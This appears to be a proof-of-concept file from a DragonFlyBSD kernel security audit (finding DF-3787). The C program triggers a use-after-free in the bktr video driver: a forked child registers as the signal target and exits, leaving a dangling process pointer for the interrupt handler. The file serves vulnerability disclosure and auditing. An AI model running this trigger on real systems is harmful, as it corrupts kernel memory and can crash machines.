⬢ DragonFlyBSD Kernel Audit
DF-3787 / poc_stale_proc.c
← back to finding ↓ download raw
/*
 * DF-3787 PoC trigger (requires real Bt848/878 hardware + bktr driver).
 *
 * METEORSSIGNAL stores td->td_proc in bktr->proc WITHOUT taking a reference
 * (bktr_core.c:1495) and video_close() never clears it (bktr_core.c:1012-1031).
 * The interrupt handler ksignal()s that pointer on every captured frame
 * (bktr_core.c:798-801).
 *
 * Trigger: parent keeps /dev/bktr0 open and capturing; child (which shares
 * the fd via fork) installs itself as the signal recipient and then exits
 * and is reaped -> bktr->proc dangles -> next frame interrupt ksignal()s a
 * freed struct proc -> use-after-free (token + siglist writes).
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <sys/wait.h>

#include <dev/video/meteor/ioctl_meteor.h>
#include <dev/video/bktr/ioctl_bt848.h>

int main(void)
{
	int fd, arg = METEOR_CAP_CONTINOUS, sig = SIGUSR1;
	pid_t pid;

	fd = open("/dev/bktr0", O_RDONLY);
	if (fd < 0) { perror("open /dev/bktr0"); return 1; }
	if (ioctl(fd, METEORCAPTUR, &arg) < 0) { perror("METEORCAPTUR"); return 1; }

	pid = fork();
	if (pid == 0) {
		/* child shares the fd: install itself as signal target */
		if (ioctl(fd, METEORSSIGNAL, &sig) < 0) perror("METEORSSIGNAL");
		_exit(0);			/* device stays open in parent */
	}
	wait(NULL);				/* child reaped: proc freed */
	printf("child reaped; bktr->proc now dangles; "
	       "waiting for frame interrupts...\n");
	sleep(10);				/* UAF ksignal fires here */
	return 0;
}